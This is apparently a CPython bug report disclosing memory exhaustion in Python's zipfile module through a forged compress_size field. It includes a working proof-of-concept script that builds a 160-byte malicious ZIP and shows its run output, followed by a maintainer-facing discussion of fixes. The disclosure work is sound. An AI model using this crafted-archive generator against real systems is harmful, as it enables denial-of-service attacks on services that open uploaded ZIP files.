Memory Exhaustion in zipfile via Forged compress_size

[DarkaMaul]

Bug report

Bug description:

Summary

A short ZIP file forces Python's zipfile module to attempt a ~2 GiB heap allocation.

Details

ZipExtFile._read2() passes a user-controlled compress_size from the central directory to self._fileobj.read(n). On 3.14 builds, ZipExtFile.MAX_N caps a single request at 1 GiB. On 3.15, this was corrected to (1 << 31) - 1 = ~2 GiB. A 160-byte crafted ZIP claiming compress_size=0xFFFFFFFE triggers a ~1 GiB (3.14) or ~2 GiB (3.15) allocation attempt.
Note: The overlap check is bypassed using two CD entries with the same filename and header_offset=0, the first entry (forged sizes) gets _end_offset == header_offset, triggering only a warning.

Reproducer

"""
Memory exhaustion in zipfile via crafted compress_size field.
"""

import resource
import struct
import sys
import tempfile
import zipfile


CLAIMED_SIZE = 0xFFFF_FFFE
MEM_LIMIT = 256 * 1024 * 1024  # 256 MiB


def craft_malicious_zip(claimed_compress_size: int) -> bytes:
    """
    Build a minimal valid ZIP with two CD entries.
    """
    filename = b"a.txt"
    file_data = b"x"
    real_size = len(file_data)

    local_header = struct.pack(
        "<4s2B4HL2L2H",
        b"PK\x03\x04",
        20, 0, 0, 0, 0, 0, 0,
        real_size, real_size,
        len(filename), 0,
    )

    cd_offset = len(local_header) + len(filename) + len(file_data)

    cd_entry_forged = struct.pack(
        "<4s4B4HL2L5H2L",
        b"PK\x01\x02",
        20, 0, 20, 0,
        0, 0, 0, 0, 0,
        claimed_compress_size,
        claimed_compress_size,
        len(filename),
        0, 0, 0, 0, 0,
        0,
    )

    cd_entry_normal = struct.pack(
        "<4s4B4HL2L5H2L",
        b"PK\x01\x02",
        20, 0, 20, 0,
        0, 0, 0, 0, 0,
        real_size,
        real_size,
        len(filename),
        0, 0, 0, 0, 0,
        0,
    )

    real_cd_size = (
        len(cd_entry_forged) + len(filename)
        + len(cd_entry_normal) + len(filename)
    )

    eocd = struct.pack(
        "<4s4H2LH",
        b"PK\x05\x06",
        0, 0, 2, 2,
        real_cd_size, cd_offset, 0,
    )

    return (
        local_header + filename + file_data
        + cd_entry_forged + filename
        + cd_entry_normal + filename
        + eocd
    )


def main():
    malicious_zip = craft_malicious_zip(CLAIMED_SIZE)

    with tempfile.NamedTemporaryFile(suffix=".zip") as tmp:
        tmp.write(malicious_zip)
        tmp.flush()

        try:
            with zipfile.ZipFile(tmp.name, "r") as zf:
                forged = zf.filelist[0]
                with zf.open(forged) as f:
                    f.read()
        except MemoryError:
            print(
                f"MemoryError from {len(malicious_zip)}-byte ZIP "
                f"with compress_size={CLAIMED_SIZE:,}"
            )
            sys.exit(0)
        except Exception:
            print("BLOCKED: zipfile rejected forged compress_size")
            sys.exit(1)

    print("BLOCKED: no allocation error raised")
    sys.exit(1)


if __name__ == "__main__":
    resource.setrlimit(resource.RLIMIT_AS, (MEM_LIMIT, MEM_LIMIT))
    main()

Due to how RLIMIT works, that's better to run the poc in a container.

❯ docker run --rm -v "$(pwd)":/work -w /work python:3.14-slim python poc.py
/work/poc.py:92: UserWarning: Overlapped entries: 'a.txt' (possible zip bomb)
  with zf.open(forged) as f:
MemoryError from 160-byte ZIP with compress_size=4,294,967,294

Impact

Memory Exhaustion

Linked issues

#141713

/cc @serhiy-storchaka

CPython versions tested on:

3.15

Operating systems tested on:

macOS, Linux

[harjothkhara]

Both halves reproduce on current main, using the reconstructed 160-byte archive with a read()-observing wrapper around the file object:

• Allocation: ZipExtFile._read2() calls self._fileobj.read(n) with n = 2147483647 (the forged compress_size, clamped only by MAX_N = (1<<31)-1), not by bytes physically present.
• Overlap-check bypass: the duplicate-header_offset=0 entries make the forged entry parse to _end_offset == header_offset, so open() takes the warn-only branch ("possible zip bomb") and proceeds to the oversized read instead of raising.

On the first half: this is the same attacker-controlled-read(n) class as #141713, whose open PR #142022 fixes read(n) pre-allocation generically at the IO layer (covering the common BufferedReader/FileIO-backed path this reproducer hits, via _SharedFile.read → BufferedReader.read; a custom file-like with its own pre-allocating read(n) would still be on its own). So the allocation is likely best handled there rather than with a zipfile-local clamp.

On the second half — I'd caution against tightening the _end_offset == header_offset branch. That warn-instead-of-raise path is currently load-bearing for legitimate duplicate-name central-directory entries pointing at a single local header: test_full_overlap_same_name exercises exactly this _end_offset == header_offset case (added in #117779 / PR #129254). For both the forged entry and that legitimate test case, _end_offset == 0, so clamping reads to _end_offset or making the branch raise would regress the supported case. If a zipfile-local defense is still wanted, one candidate (for seekable sources) is clamping the per-call read in _read2 to the actual remaining bytes in the file (min(_compress_left, filesize - pos)) — that bounds allocation to the real 160 bytes here while still letting the legitimate duplicate entry read its true compressed length.

Is the preference to let #142022 cover the allocation and close here, or to add the file-length clamp as defense-in-depth? Flagging before opening anything so I don't duplicate @serhiy-storchaka's in-flight work.